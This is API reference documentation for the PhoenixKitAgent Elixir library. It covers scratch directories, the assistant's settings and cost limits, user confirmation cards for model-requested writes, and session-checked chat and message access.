        Runs fun with a new directory and removes it afterwards; {:error, :unreadable} where there is none to be had.



    


    
      
        with_file(file_uuid, fun)

      


        Runs fun with the path of a copy of the Storage file file_uuid, and
removes the copy afterwards. {:error, :unreadable} when it cannot be read.



    





      


      
        Functions


        


  
    
      
    
    
      adopt(dir)



        
          
        

    

  


  

      

          @spec adopt(Path.t()) :: :ok


      


Makes dir the place this process's own directories are made in.

  



  
    
      
    
    
      create()



        
          
        

    

  


  

      

          @spec create() :: {:ok, Path.t()} | {:error, :unavailable}


      


A new, empty directory with a random name, 0700: inside the one this
process adopt/1ed, else in the root.

  



  
    
      
    
    
      fetch(file_uuid, dir)



        
          
        

    

  


  

      

          @spec fetch(String.t(), Path.t()) :: {:ok, Path.t()} | {:error, :unreadable}


      


Copies the original of the Storage file file_uuid to a new file in dir
(readable by this user only) and returns its path.

  



  
    
      
    
    
      remove(dir)



        
          
        

    

  


  

      

          @spec remove(Path.t()) :: :ok


      


Removes dir and what is in it.

  



  
    
      
    
    
      root()



        
          
        

    

  


  

      

          @spec root() :: Path.t()


      


The directory every scratch directory is made in.

  



  
    
      
    
    
      sweep()



        
          
        

    

  


  

      

          @spec sweep() :: non_neg_integer()


      


Removes the scratch directories older than the longest a job may take (plus
a margin). Returns how many were removed.

  



  
    
      
    
    
      with_dir(fun)



        
          
        

    

  


  

      

          @spec with_dir((Path.t() -> result)) :: result | {:error, :unreadable}
when result: term()


      


Runs fun with a new directory and removes it afterwards; {:error, :unreadable} where there is none to be had.

  



  
    
      
    
    
      with_file(file_uuid, fun)



        
          
        

    

  


  

      

          @spec with_file(String.t(), (Path.t() -> result)) :: result | {:error, :unreadable}
when result: term()


      


Runs fun with the path of a copy of the Storage file file_uuid, and
removes the copy afterwards. {:error, :unreadable} when it cannot be read.

  


        

      


  

    
PhoenixKitAgent.Config 
    



      
The module settings (phoenix_kit_settings, keys agent_*) and their
defaults. A per-user value (PhoenixKitAgent.Schemas.UserSettings) wins over
these; these win over the built-in defaults below.
	Key	Default
	agent_enabled	false (see PhoenixKitAgent.enabled?/0)
	agent_default_endpoint_uuid	none — the AI endpoint the assistant uses
	agent_vision_endpoint_uuid	none — describes images for a model without image input
	agent_system_prompt	none — the module's system prompt (JSON {"text": …})
	agent_daily_cost_limit_micro_usd	1_000_000 ($1)
	agent_monthly_cost_limit_micro_usd	10_000_000 ($10)
	agent_daily_turn_limit	200
	agent_max_attachment_mb	20
	agent_max_attachments_per_message	5
	agent_limit_watchers	none — JSON {"uuids": […]} of user uuids; none = every Owner
	agent_max_tool_rounds	8
	agent_turn_deadline_s	300
	agent_history_chars	24_000
	agent_tool_result_chars	12_000
	agent_capture_ai_content	false

Money is in micro-dollars ($1 = 1_000_000); the AI journal keeps dollars
(phoenix_kit_ai_requests.cost), read through cost_to_micro/1. A stored
value that is not a whole number, or is outside its range (below), reads as
the default. A limit of 0 is a real limit (nothing allowed); a technical
value must be positive.
Core keeps a string setting to 1000 characters, so the two settings that can
be longer — the module prompt and the watchers — are JSON settings
(value_json), written by put_system_prompt/2 and put_limit_watchers/2.
The two models are written by put_default_endpoint/2 and
put_vision_endpoint/2, which take only an AI endpoint that chats and fits
its AI task (agent.chat, agent.attachment).
Every writer records the change with who made it (actor_uuid: in opts)
in the core Activity log: through the settings history (setting.changed,
with the values before and after) — except the module prompt, whose text
must not be kept there (nor in the query log that history's write goes
to): it is written without that history, and its change is recorded as
agent.settings_updated with the field name only.
agent_capture_ai_content is on only when it reads exactly "true": then the
bodies of the assistant's model calls are written to the AI request journal,
where every holder of the ai permission reads them. Only an Owner may switch
it: put_capture_ai_content/2 does not check that, its caller (the Settings
page, PhoenixKitAgent.Web.SettingsLive) does.

      


      
        Summary


  
    Types
  


    
      
        endpoint_refusal()

      


        Why put_default_endpoint/2 or put_vision_endpoint/2 wrote nothing.



    





  
    Functions
  


    
      
        capture_ai_content?()

      


        Whether the bodies of the assistant's model calls go to the AI journal.



    


    
      
        cost_to_micro(usd)

      


        A cost in dollars as the AI journal keeps it (PhoenixKitAI.Request.cost,
a Decimal, finer than a micro-dollar at times) as whole micro-dollars,
rounded half up: $0.0000025 is 3. nil (no cost known) stays nil.
A sum is rounded once, after it is added up, never row by row.



    


    
      
        default_endpoint_uuid()

      


        The AI endpoint the assistant uses by default, or nil.



    


    
      
        defaults_changeset(params)

      


        Validates the defaults form; see save_defaults/2.



    


    
      
        defaults_form_values()

      


        The current defaults as the form shows them: string values, money in dollars.



    


    
      
        history_chars()

      


        How many characters of earlier messages go into the model's context.



    


    
      
        limit_defaults()

      


        The module's default per-user limits.



    


    
      
        limit_watchers()

      


        The users told when someone hits a limit (agent_limit_watchers). Empty means
every Owner; who those are is decided where the notice is sent.



    


    
      
        max_tool_rounds()

      


        Most model ↔ tool rounds in one turn.



    


    
      
        micro_to_usd(micro)

      


        Micro-dollars as dollars for a form field: 1_500_000 is "1.5".



    


    
      
        put_capture_ai_content(value, opts)

      


        Switches agent_capture_ai_content. opts go to PhoenixKit.Settings
(actor_uuid:, source:). The caller checks that the person is an Owner.



    


    
      
        put_default_endpoint(uuid, opts)

      


        Sets the AI endpoint the assistant uses by default
(agent_default_endpoint_uuid), or none (nil). Only an existing endpoint
that chats is taken; anything else is {:error, :invalid_endpoint} and
nothing is written. A newly chosen endpoint must fit the agent.chat AI
task (PhoenixKitAI.Tasks.check_selection/2): one whose model is known not
to take tools is {:error, {:model_unfit, missing}}, one nobody knows
takes them {:error, {:model_unverified, unclear}}, and nothing is
written; the endpoint already set is not checked again. opts go to
PhoenixKit.Settings (actor_uuid:, source:). The caller checks
agent.manage.



    


    
      
        put_limit_watchers(uuids, opts)

      


        Sets who is told when someone hits a limit (agent_limit_watchers): user
uuids, repeats dropped; an empty list means every Owner. Anything that is
not a uuid is {:error, :invalid_uuid} and nothing is written. The caller
checks agent.manage.



    


    
      
        put_system_prompt(prompt, opts)

      


        Sets the module's system prompt (agent_system_prompt); a blank one means
none. NUL characters are cut (the database refuses them); a prompt over
16000 characters is {:error, changeset} and nothing is written —
it goes into every request. A change is recorded in the Activity log as
agent.settings_updated by actor_uuid: (in opts), with the field name
and never the text (see the moduledoc). The caller checks agent.manage.



    


    
      
        put_vision_endpoint(uuid, opts)

      


        Sets the AI endpoint that describes pictures for a model that does not see
them (agent_vision_endpoint_uuid), or none (nil); as
put_default_endpoint/2, against the agent.attachment AI task (its model
must take pictures).



    


    
      
        remove_limit_watcher(user_uuid)

      


        Takes user_uuid out of agent_limit_watchers, under the setting's row lock
(a concurrent change of the list is not lost). {:ok, :unchanged} when it was
not in the list.



    


    
      
        save_defaults(params, opts)

      


        Saves the defaults form: dollars become micro-dollars; every value is checked
against its range and nothing is written unless all are valid. Only values
that differ from what is in effect are written, so an untouched built-in
default stays unstored (and follows a later change of the default). They are
written in one transaction (PhoenixKit.Settings.update_settings_batch/2):
a write the database refuses leaves every setting as it was and is
{:error, :not_saved}. opts go to PhoenixKit.Settings (actor_uuid:,
source:) so the change is in the settings history with who made it.



    


    
      
        system_prompt()

      


        The module's system prompt, or nil.



    


    
      
        tool_result_chars()

      


        How many characters of one tool result go to the model (and are kept).



    


    
      
        turn_deadline_s()

      


        Deadline of a whole turn, in seconds.



    


    
      
        usd_to_micro(value)

      


        Dollars typed by a person ("2,5", "0.05") as micro-dollars: {:ok, integer}, {:error, :fraction} when finer than a millionth of a dollar,
{:error, reason} for anything that is not a non-negative amount.



    


    
      
        vision_endpoint_uuid()

      


        The AI endpoint that describes images for a model without image input, or nil.



    





      


      
        Types


        


  
    
      
    
    
      endpoint_refusal()



        
          
        

    

  


  

      

          @type endpoint_refusal() ::
  :invalid_endpoint | {:model_unfit | :model_unverified, [atom()]}


      


Why put_default_endpoint/2 or put_vision_endpoint/2 wrote nothing.

  


        

      

      
        Functions


        


  
    
      
    
    
      capture_ai_content?()



        
          
        

    

  


  

      

          @spec capture_ai_content?() :: boolean()


      


Whether the bodies of the assistant's model calls go to the AI journal.

  



  
    
      
    
    
      cost_to_micro(usd)



        
          
        

    

  


  

      

          @spec cost_to_micro(Decimal.t() | nil) :: non_neg_integer() | nil


      


A cost in dollars as the AI journal keeps it (PhoenixKitAI.Request.cost,
a Decimal, finer than a micro-dollar at times) as whole micro-dollars,
rounded half up: $0.0000025 is 3. nil (no cost known) stays nil.
A sum is rounded once, after it is added up, never row by row.

  



  
    
      
    
    
      default_endpoint_uuid()



        
          
        

    

  


  

      

          @spec default_endpoint_uuid() :: String.t() | nil


      


The AI endpoint the assistant uses by default, or nil.

  



  
    
      
    
    
      defaults_changeset(params)



        
          
        

    

  


  

      

          @spec defaults_changeset(map()) :: Ecto.Changeset.t()


      


Validates the defaults form; see save_defaults/2.

  



  
    
      
    
    
      defaults_form_values()



        
          
        

    

  


  

      

          @spec defaults_form_values() :: %{required(String.t()) => String.t()}


      


The current defaults as the form shows them: string values, money in dollars.

  



  
    
      
    
    
      history_chars()



        
          
        

    

  


  

      

          @spec history_chars() :: pos_integer()


      


How many characters of earlier messages go into the model's context.

  



  
    
      
    
    
      limit_defaults()



        
          
        

    

  


  

      

          @spec limit_defaults() :: %{required(atom()) => non_neg_integer()}


      


The module's default per-user limits.

  



  
    
      
    
    
      limit_watchers()



        
          
        

    

  


  

      

          @spec limit_watchers() :: [String.t()]


      


The users told when someone hits a limit (agent_limit_watchers). Empty means
every Owner; who those are is decided where the notice is sent.

  



  
    
      
    
    
      max_tool_rounds()



        
          
        

    

  


  

      

          @spec max_tool_rounds() :: pos_integer()


      


Most model ↔ tool rounds in one turn.

  



  
    
      
    
    
      micro_to_usd(micro)



        
          
        

    

  


  

      

          @spec micro_to_usd(non_neg_integer()) :: String.t()


      


Micro-dollars as dollars for a form field: 1_500_000 is "1.5".

  



  
    
      
    
    
      put_capture_ai_content(value, opts)



        
          
        

    

  


  

      

          @spec put_capture_ai_content(boolean(), keyword()) ::
  {:ok, term()} | {:error, Ecto.Changeset.t()}


      


Switches agent_capture_ai_content. opts go to PhoenixKit.Settings
(actor_uuid:, source:). The caller checks that the person is an Owner.

  



  
    
      
    
    
      put_default_endpoint(uuid, opts)



        
          
        

    

  


  

      

          @spec put_default_endpoint(String.t() | nil, keyword()) ::
  {:ok, term()} | {:error, endpoint_refusal() | Ecto.Changeset.t()}


      


Sets the AI endpoint the assistant uses by default
(agent_default_endpoint_uuid), or none (nil). Only an existing endpoint
that chats is taken; anything else is {:error, :invalid_endpoint} and
nothing is written. A newly chosen endpoint must fit the agent.chat AI
task (PhoenixKitAI.Tasks.check_selection/2): one whose model is known not
to take tools is {:error, {:model_unfit, missing}}, one nobody knows
takes them {:error, {:model_unverified, unclear}}, and nothing is
written; the endpoint already set is not checked again. opts go to
PhoenixKit.Settings (actor_uuid:, source:). The caller checks
agent.manage.

  



  
    
      
    
    
      put_limit_watchers(uuids, opts)



        
          
        

    

  


  

      

          @spec put_limit_watchers([String.t()], keyword()) ::
  {:ok, term()} | {:error, :invalid_uuid | Ecto.Changeset.t()}


      


Sets who is told when someone hits a limit (agent_limit_watchers): user
uuids, repeats dropped; an empty list means every Owner. Anything that is
not a uuid is {:error, :invalid_uuid} and nothing is written. The caller
checks agent.manage.

  



  
    
      
    
    
      put_system_prompt(prompt, opts)



        
          
        

    

  


  

      

          @spec put_system_prompt(String.t() | nil, keyword()) ::
  {:ok, term()} | {:error, Ecto.Changeset.t()}


      


Sets the module's system prompt (agent_system_prompt); a blank one means
none. NUL characters are cut (the database refuses them); a prompt over
16000 characters is {:error, changeset} and nothing is written —
it goes into every request. A change is recorded in the Activity log as
agent.settings_updated by actor_uuid: (in opts), with the field name
and never the text (see the moduledoc). The caller checks agent.manage.

  



  
    
      
    
    
      put_vision_endpoint(uuid, opts)



        
          
        

    

  


  

      

          @spec put_vision_endpoint(String.t() | nil, keyword()) ::
  {:ok, term()} | {:error, endpoint_refusal() | Ecto.Changeset.t()}


      


Sets the AI endpoint that describes pictures for a model that does not see
them (agent_vision_endpoint_uuid), or none (nil); as
put_default_endpoint/2, against the agent.attachment AI task (its model
must take pictures).

  



  
    
      
    
    
      remove_limit_watcher(user_uuid)



        
          
        

    

  


  

      

          @spec remove_limit_watcher(String.t()) :: {:ok, term()} | {:error, Ecto.Changeset.t()}


      


Takes user_uuid out of agent_limit_watchers, under the setting's row lock
(a concurrent change of the list is not lost). {:ok, :unchanged} when it was
not in the list.

  



  
    
      
    
    
      save_defaults(params, opts)



        
          
        

    

  


  

      

          @spec save_defaults(map(), keyword()) ::
  {:ok, [String.t()]} | {:error, Ecto.Changeset.t() | :not_saved}


      


Saves the defaults form: dollars become micro-dollars; every value is checked
against its range and nothing is written unless all are valid. Only values
that differ from what is in effect are written, so an untouched built-in
default stays unstored (and follows a later change of the default). They are
written in one transaction (PhoenixKit.Settings.update_settings_batch/2):
a write the database refuses leaves every setting as it was and is
{:error, :not_saved}. opts go to PhoenixKit.Settings (actor_uuid:,
source:) so the change is in the settings history with who made it.

  



  
    
      
    
    
      system_prompt()



        
          
        

    

  


  

      

          @spec system_prompt() :: String.t() | nil


      


The module's system prompt, or nil.

  



  
    
      
    
    
      tool_result_chars()



        
          
        

    

  


  

      

          @spec tool_result_chars() :: pos_integer()


      


How many characters of one tool result go to the model (and are kept).

  



  
    
      
    
    
      turn_deadline_s()



        
          
        

    

  


  

      

          @spec turn_deadline_s() :: pos_integer()


      


Deadline of a whole turn, in seconds.

  



  
    
      
    
    
      usd_to_micro(value)



        
          
        

    

  


  

      

          @spec usd_to_micro(term()) :: {:ok, non_neg_integer()} | {:error, atom()}


      


Dollars typed by a person ("2,5", "0.05") as micro-dollars: {:ok, integer}, {:error, :fraction} when finer than a millionth of a dollar,
{:error, reason} for anything that is not a non-negative amount.

  



  
    
      
    
    
      vision_endpoint_uuid()



        
          
        

    

  


  

      

          @spec vision_endpoint_uuid() :: String.t() | nil


      


The AI endpoint that describes images for a model without image input, or nil.

  


        

      


  

    
PhoenixKitAgent.Confirmations 
    



      
The confirmation cards of the chat (spec §12 Ф2, Б2.2): a write the model
asked for waits for the user, who runs it, turns it down or asks for it
again.
A turn never writes (PhoenixKitAgent.Turns.Runner): core answers a write of
a live session with a preview and holds the call in a confirmation row bound
to the user (PhoenixKit.API.Executor.execute_as/5, allow: :all), and the
turn stores a tool message needs_confirmation with the row's uuid
(confirmation_uuid) and the answer that asked for it
(assistant_message_uuid), and ends there. A card is that message; it
waits while the chat has no notice with the same confirmation_uuid.
Like PhoenixKitAgent.Conversations, every function acts for a live
browser session and takes the answer of MultiSession.impersonated?/1 for
it: an impersonated session, a session that cannot act, a user who may not
use the assistant, someone else's chat, or a message that is not a card of
it, are refused before anything else is read (the refusals of
Conversations.owned_conversation/3, then :not_waiting).
A click
confirm/5, reject/5 and repeat/5 take the user's turn lock for the
click (PhoenixKitAgent.Turns.Locks.acquire_user/4): while a turn of the
user runs, a click is {:error, :turn_running}, while another click runs
{:error, :click_running}, and no turn starts while a click runs (the turn
is refused :click_in_flight). The lock blocks a turn for 30 s from the
moment it was last kept: a process next to the click, under
PhoenixKitAgent.Confirmations.TaskSupervisor, keeps it fresh every 10 s
for as long as the click runs (Locks.keep_user/4; config :phoenix_kit_agent, click_keep_ms:, held between 100 ms and 15 s, half the
hold), and stops with it, so a lock never released (its node went down)
frees the user's turns 30 s after its last keep. Should the database refuse
the keeps for longer than the hold, a turn may start while the click still
runs. A click calls no model and stores no user message, so it spends
neither money nor a turn of the user's limits. The card is read again under
the lock.
	confirm/5 redeems the row (Executor.redeem_as/6) with the same tool
and the arguments the model sent — the registry name of the card and
PhoenixKitAgent.Turns.Tools.arguments/1 of the call in its assistant
message — under the rights of the session that clicks, now. Core checks
everything again (the session, the tool and its module, the "Agent may
act" box, the scope and the permission, the rate limit, the input, a
fresh dry run against the preview's fingerprint) and spends the row
atomically before the handler runs.
	reject/5 turns the row down (PhoenixKit.API.Confirm.reject_for_user/2).
	repeat/5, for a card whose row ran out (or that core has deleted),
asks for the same call again (execute_as/5): a new card.

What became of the card is a new notice with its confirmation_uuid, the
tool's name and tool_outcome:
	confirmed — the handler ran; and also for a row core had spent
already with no notice of it here (core's used to redeem_as/6 or
reject_for_user/2, read back as used with get_for_user/2, or,
when that read is withheld because the user may no longer use the
tool, with lookup_for_user/2): the click that spent it was lost after
core spent it, and core spends the row right before the handler runs.
Should the row not read so, the card keeps waiting with the reason;
	rejected;
	expired — the row ran out, or is gone: core's invalid (it deletes
its rows) reads as expired too;
	changed — the values changed under the preview: core holds the call
in a new row, which is a new card with the same assistant message,
stored right after the notice in the same transaction (as is the new
card of "Ask again" with the expired notice of a card not yet
closed): both are there, or neither;
	failed — only when the handler failed after core spent the row (an
error of redeem_as/6 with the row used).

A notice the chat refuses (it was deleted meanwhile) makes the click
{:error, :not_stored}, whatever core did.
A card can also stop waiting with no click to say so: its row ran out, core
deleted it, or the click that settled it was lost with its node.
settle_lapsed/3 (the chat panel, when it opens a chat) and
settle_lapsed_in_turn/2 (a turn, before it reads the history) give such a
card its notice by what core's row says — used is confirmed, rejected
is rejected, a row that ran out or is gone is expired — so neither the
panel nor the model takes it for waiting. A card the user may no longer run
(the right to its tool is gone) still waits, for "Cancel the change".
A refusal before the row is spent — the session, the rights, the module's
box, the handler's own dry run, the rate limit — writes nothing: the card
keeps waiting and the click answers {:error, {:refused, code}} with
core's code. Such a notice is the only thing of a click the model learns,
in the history of the next turn (PhoenixKitAgent.Turns.History), where a
card with no notice yet reads as waiting.
Neither the arguments, nor the preview, nor what the handler returned are
stored or logged here.

      


      
        Summary


  
    Types
  


    
      
        card()

      


        What a card shows (see cards/4).



    


    
      
        refusal()

      


        Why a click did nothing.



    





  
    Functions
  


    
      
        cards(session_ref, impersonated?, conversation_uuid, messages)

      


        What the chat panel shows of the cards among messages (messages of the
user's chat conversation_uuid, as PhoenixKitAgent.Conversations hands
them out): a map from the uuid of each card to card/0. Only the uuids
of messages are used; the rows are read again in this chat, and a message
that is not a card of it is left out.



    


    
      
        confirm(session_ref, impersonated?, conversation_uuid, message_uuid, opts \\ [])

      


        The user runs the write the card message_uuid waits for (see the
moduledoc). {:ok, outcome} — :confirmed, :changed, :expired,
:rejected or :failed, written as the card's notice — or {:error, reason}, after which the card still waits.



    


    
      
        outcomes()

      


        The outcomes a card's notice takes.



    


    
      
        reject(session_ref, impersonated?, conversation_uuid, message_uuid, opts \\ [])

      


        The user turns down the write the card message_uuid waits for:
{:ok, :rejected} (or :expired when the row ran out or is gone, and
:confirmed when core had spent it already: see the moduledoc), written as
the card's notice.



    


    
      
        repeat(session_ref, impersonated?, conversation_uuid, message_uuid, opts \\ [])

      


        The user asks again for the write of the card message_uuid, whose row ran
out or is gone: core holds the same call in a new row, a new card with the
same assistant message ({:ok, :repeated}). The old card is closed as
expired if it was not yet. {:error, :not_expired} for any other card,
and for one asked for again already; {:error, :already_waiting} when
another card of this chat still waits for the same tool and arguments.



    


    
      
        settle_lapsed(session_ref, impersonated?, conversation_uuid)

      


        Gives each card of the user's chat conversation_uuid that core no longer
holds, though no notice says so, the notice of what became of it (see the
moduledoc). Nothing is written, and no lock is asked for, when there is no
such card; else under the user's lock, as a click: {:error, :turn_running} or {:error, :click_running}, with nothing written, while a
turn or a click holds it.



    


    
      
        waiting_cards(session_ref, impersonated?, conversation_uuid)

      


        The cards of the user's chat conversation_uuid that wait — no notice of
their confirmation_uuid in the chat — wherever they are in it, oldest
first, as PhoenixKitAgent.Conversations hands messages out: what the chat
panel shows of the cards that are not on the page of the chat it loaded.



    





      


      
        Types


        


  
    
      
    
    
      card()



        
          
        

    

  


  

      

          @type card() :: %{
  state: String.t(),
  tool: String.t(),
  preview: map() | nil,
  arguments: String.t() | nil,
  expires_at: DateTime.t() | nil,
  repeatable?: boolean(),
  rejectable?: boolean()
}


      


What a card shows (see cards/4).

  



  
    
      
    
    
      refusal()



        
          
        

    

  


  

      

          @type refusal() ::
  PhoenixKitAgent.Conversations.refusal()
  | :not_waiting
  | :not_expired
  | :already_waiting
  | :turn_running
  | :click_running
  | :no_arguments
  | :not_stored
  | {:refused, atom()}


      


Why a click did nothing.

  


        

      

      
        Functions


        


  
    
      
    
    
      cards(session_ref, impersonated?, conversation_uuid, messages)



        
          
        

    

  


  

      

          @spec cards(PhoenixKitAgent.Conversations.session_ref(), boolean(), term(), [
  %{:uuid => term(), optional(atom()) => term()}
]) ::
  {:ok, %{required(String.t()) => card()}}
  | {:error, PhoenixKitAgent.Conversations.refusal()}


      


What the chat panel shows of the cards among messages (messages of the
user's chat conversation_uuid, as PhoenixKitAgent.Conversations hands
them out): a map from the uuid of each card to card/0. Only the uuids
of messages are used; the rows are read again in this chat, and a message
that is not a card of it is left out.
	state — "waiting", an outcome of its notice, "expired" for a row
that ran out or is gone, or "unavailable" (the session cannot read it,
or the row was settled without a notice here);
	preview, expires_at, arguments — for a waiting card only: core's
preview (PhoenixKit.API.Confirm.get_for_user/2, read with this
session), when it runs out, and the arguments the model sent, as plain
JSON text (to be shown as text, never as markup), cut to
2000 characters;
	repeatable? — the card ran out, its call is still available, it was
not asked for again and no other card waits for the same write;
	rejectable? — it can be turned down: it waits, or it is
"unavailable" because the user may no longer use its tool (core lets
such a row be turned down, not run).


  



    

  
    
      
    
    
      confirm(session_ref, impersonated?, conversation_uuid, message_uuid, opts \\ [])



        
          
        

    

  


  

      

          @spec confirm(
  PhoenixKitAgent.Conversations.session_ref(),
  boolean(),
  term(),
  term(),
  keyword()
) ::
  {:ok, :confirmed | :changed | :expired | :rejected | :failed}
  | {:error, refusal()}


      


The user runs the write the card message_uuid waits for (see the
moduledoc). {:ok, outcome} — :confirmed, :changed, :expired,
:rejected or :failed, written as the card's notice — or {:error, reason}, after which the card still waits.
Options: :request_context — as for PhoenixKitAgent.Turns.start/6;
:request_id is the click's own.

  



  
    
      
    
    
      outcomes()



        
          
        

    

  


  

      

          @spec outcomes() :: [String.t()]


      


The outcomes a card's notice takes.

  



    

  
    
      
    
    
      reject(session_ref, impersonated?, conversation_uuid, message_uuid, opts \\ [])



        
          
        

    

  


  

      

          @spec reject(
  PhoenixKitAgent.Conversations.session_ref(),
  boolean(),
  term(),
  term(),
  keyword()
) ::
  {:ok, :rejected | :expired | :confirmed} | {:error, refusal()}


      


The user turns down the write the card message_uuid waits for:
{:ok, :rejected} (or :expired when the row ran out or is gone, and
:confirmed when core had spent it already: see the moduledoc), written as
the card's notice.

  



    

  
    
      
    
    
      repeat(session_ref, impersonated?, conversation_uuid, message_uuid, opts \\ [])



        
          
        

    

  


  

      

          @spec repeat(
  PhoenixKitAgent.Conversations.session_ref(),
  boolean(),
  term(),
  term(),
  keyword()
) ::
  {:ok, :repeated} | {:error, refusal()}


      


The user asks again for the write of the card message_uuid, whose row ran
out or is gone: core holds the same call in a new row, a new card with the
same assistant message ({:ok, :repeated}). The old card is closed as
expired if it was not yet. {:error, :not_expired} for any other card,
and for one asked for again already; {:error, :already_waiting} when
another card of this chat still waits for the same tool and arguments.

  



  
    
      
    
    
      settle_lapsed(session_ref, impersonated?, conversation_uuid)



        
          
        

    

  


  

      

          @spec settle_lapsed(PhoenixKitAgent.Conversations.session_ref(), boolean(), term()) ::
  :ok
  | {:error,
     PhoenixKitAgent.Conversations.refusal() | :turn_running | :click_running}


      


Gives each card of the user's chat conversation_uuid that core no longer
holds, though no notice says so, the notice of what became of it (see the
moduledoc). Nothing is written, and no lock is asked for, when there is no
such card; else under the user's lock, as a click: {:error, :turn_running} or {:error, :click_running}, with nothing written, while a
turn or a click holds it.

  



  
    
      
    
    
      waiting_cards(session_ref, impersonated?, conversation_uuid)



        
          
        

    

  


  

      

          @spec waiting_cards(PhoenixKitAgent.Conversations.session_ref(), boolean(), term()) ::
  {:ok, [PhoenixKitAgent.Schemas.Message.t()]}
  | {:error, PhoenixKitAgent.Conversations.refusal()}


      


The cards of the user's chat conversation_uuid that wait — no notice of
their confirmation_uuid in the chat — wherever they are in it, oldest
first, as PhoenixKitAgent.Conversations hands messages out: what the chat
panel shows of the cards that are not on the page of the chat it loaded.

  


        

      


  

    
PhoenixKitAgent.Conversations 
    



      
The chats and messages of the assistant (spec §5.1-5.2, §8, §10).
Every function acts for a live browser session, never for a bare user
uuid: the first argument is the {session_token_uuid, user_uuid} reference
that PhoenixKit.Users.Auth.SessionRef.from_session/1 reads from a
LiveView's signed session (in its connected mount), and the last is a
keyword list that must carry impersonated: boolean — the answer of
PhoenixKitWeb.Users.MultiSession.impersonated?/1 for the same session.
The flag has no default on purpose: a caller that forgets it raises
ArgumentError instead of being let in.
Each call is checked in this order, and the first failure is the answer:
	impersonated: true — {:error, :impersonated}. An operator who
entered a user's session through impersonation would otherwise read the
whole chat history (customer data from tool results) and write as the
user, spending their limits (spec §8, В13). Nothing is read or written.
	The session's scope (SessionRef.scope_for_session/2): a revoked or
expired session, a blocked user, a session of another user —
{:error, :session_gone | :mismatch | :inactive | :unconfirmed | :referral_required}. The scope is rebuilt on every call, so a logout
takes effect on the next one.
	The module is enabled, the scope holds agent, and the assistant is
not switched off for the user (user_settings.enabled) —
{:error, :forbidden}.
	For one chat: it belongs to the session's user. Anything else — someone
else's chat, a deleted one, one that never existed, a malformed uuid —
is the same {:error, :not_found}, so the answer does not reveal that
a chat exists.

The owner is the only one who reads or writes a chat. A soft-deleted chat
(status: "deleted") is gone for every function here; an archived one is
left out of list_conversations/2 only, and can still be opened and
written to (a turn in flight when the user archives the chat must still be
able to save its answer). Renaming, archiving and deleting are one
conditional UPDATE each (the owner's chat, not deleted), so a concurrent
archive cannot bring a deleted chat back.
Writing
A session writes only its user's text: add_message/4 stores a user
message with content and ignores every other attribute. Model answers,
tool calls and results, notices and their tokens and cost are written by
the turn loop (PhoenixKitAgent.Turns) alone.
Reading: what a client gets of a message
get_conversation/3, get_message/4 and list_messages/3 never hand out
what a tool returned, nor the arguments the model gave a tool (customer data
read under the rights the session had then): a tool message comes with
tool_result: nil and tool_summary: %{name:, outcome:, count:, truncated:} (count — how many items it found, when the result has one
list or a count/total; nil otherwise), and the tool_calls of an
assistant message keep only "id" and "name". The turn loop reads the
full rows on its own (spec §6.6).
Events
Every stored message is broadcast as {:agent_message_added, conversation_uuid, message_uuid} on topic/1 ("agent:conv:<uuid>")
after it is committed. The event carries uuids, not the message: a listener
reads it through get_message/4 (or list_messages/3 with after:), with
a fresh scope. subscribe/3 subscribes only after the checks above;
unsubscribe/1 undoes it (subscribing twice delivers every event twice).
The topic also hears {:agent_attachment_processed, conversation_uuid, attachment_uuid} when a file added to the chat is ready or has failed
(PhoenixKitAgent.Attachments). PubSub is in-process and anyone in the VM
can subscribe to a topic
directly; the check guards the code that serves a user's browser, not
hostile code in the node.

      


      
        Summary


  
    Types
  


    
      
        cursor()

      


        Where the next page of the list starts; opaque, taken from list_conversations/2.



    


    
      
        refusal()

      


        Why a call was refused.



    


    
      
        session_ref()

      


        {session_token_uuid, user_uuid} from SessionRef.from_session/1.



    


    
      
        tool_summary()

      


        What a client learns of a tool call's result (see the moduledoc).



    





  
    Functions
  


    
      
        add_message(session_ref, conversation_uuid, attrs, opts)

      


        Adds the user's text to their chat, as a user message: only content
(:content or "content", not blank, and no longer than
agent_history_chars, as a turn takes it) is taken from attrs, never a role,
tool fields, tokens or cost (see "Writing" in the moduledoc). The chat is
updated in the same transaction: the message count, last_message_at and —
when the chat has no title yet — the title, the first 60 characters of the
text. After the commit the chat's topic hears {:agent_message_added, conversation_uuid, message_uuid}.



    


    
      
        archive_conversation(session_ref, conversation_uuid, opts)

      


        Archives a chat: it leaves the list, nothing is deleted.



    


    
      
        authorize_session(session_ref, opts)

      


        Checks 1-3 of the moduledoc for a session, without a chat: {:ok, user_uuid} when the session may use the assistant now.



    


    
      
        create_conversation(session_ref, attrs, opts)

      


        Creates an empty active chat for the session's user. attrs may carry a
:title; the owner and status are never taken from it.



    


    
      
        delete_conversation(session_ref, conversation_uuid, opts)

      


        Soft-deletes a chat: its row and messages stay, but no function here sees it
any more.



    


    
      
        get_conversation(session_ref, conversation_uuid, opts)

      


        The user's chat with all its messages, oldest first, as a client sees them
(see "Reading" in the moduledoc).



    


    
      
        get_message(session_ref, conversation_uuid, message_uuid, opts)

      


        One message of the user's chat, as a client sees it (see "Reading" in the
moduledoc) — what a listener of {:agent_message_added, conversation_uuid, message_uuid} reads. A message of another chat, or none, is
{:error, :not_found}.



    


    
      
        list_conversations(session_ref, opts)

      


        The user's active chats, newest last_message_at first, one page at a time.



    


    
      
        list_messages(session_ref, conversation_uuid, opts)

      


        The messages of the user's chat, oldest first, as a client sees them (see
"Reading" in the moduledoc).



    


    
      
        rename_conversation(session_ref, conversation_uuid, title, opts)

      


        Renames a chat. A blank title or one over 200 characters is an {:error, changeset}.



    


    
      
        subscribe(session_ref, conversation_uuid, opts)

      


        Subscribes the calling process to the chat's topic, but only after the
checks of the moduledoc — a chat of someone else is {:error, :not_found}
and nothing is subscribed.



    


    
      
        topic(conversation_uuid)

      


        The PubSub topic of a chat's events.



    


    
      
        unsubscribe(conversation_uuid)

      


        Unsubscribes the calling process from the chat's topic; no checks are needed.



    





      


      
        Types


        


  
    
      
    
    
      cursor()



        
          
        

    

  


  

      

          @type cursor() :: {DateTime.t(), String.t()}


      


Where the next page of the list starts; opaque, taken from list_conversations/2.

  



  
    
      
    
    
      refusal()



        
          
        

    

  


  

      

          @type refusal() ::
  :impersonated
  | PhoenixKit.Users.Auth.SessionRef.refusal()
  | :forbidden
  | :not_found


      


Why a call was refused.

  



  
    
      
    
    
      session_ref()



        
          
        

    

  


  

      

          @type session_ref() :: PhoenixKit.Users.Auth.SessionRef.t()


      


{session_token_uuid, user_uuid} from SessionRef.from_session/1.

  



  
    
      
    
    
      tool_summary()



        
          
        

    

  


  

      

